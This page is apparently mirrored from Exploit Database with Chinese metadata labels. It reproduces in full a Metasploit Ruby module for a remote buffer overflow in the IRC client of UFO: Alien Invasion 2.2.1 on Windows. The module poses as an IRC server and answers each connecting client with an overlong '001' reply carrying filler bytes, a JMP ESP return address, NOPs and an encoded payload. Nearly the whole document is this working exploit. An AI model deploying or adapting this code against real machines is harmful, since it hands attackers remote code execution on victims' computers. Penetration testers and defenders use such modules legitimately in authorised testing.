UFO: Alien Invasion IRC Client (Windows) – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 4 阅读

• 作者： Metasploit
  日期： 2010-10-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16446/

• ##
  # $Id: ufo_ai.rb 10617 2010-10-09 06:55:52Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the IRC client component of
  				UFO: Alien Invasion 2.2.1.
  			},
  			'Author' 	 =>
  				[
  					'Jason Geffner',# Original Windows PoC Author
  					'dookie'# MSF Module Author
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10617 $',
  			'References' =>
  				[
  					[ 'OSVDB', '65689'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
  				],
  			'Payload' =>
  				{
  					'Space' => 400,
  					'BadChars' => "\x00\x0a\x0d",
  					'MaxNops' => 0,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Oct 28 2009'))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
  			], self.class)
  
  	end
  
  	def on_client_connect(client)
  
  		return if ((p = regenerate_payload(client)) == nil)
  
  		print_status("Got client connection...")
  
  		buffer = "001 :"
  		buffer << rand_text_alpha_upper(552)
  		buffer << [ target.ret ].pack('V')
  		buffer << make_nops(8)
  		buffer << payload.encoded
  		buffer << "\x0d\x0a"
  
  		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
  
  		client.put(buffer)
  
  	end
  
  end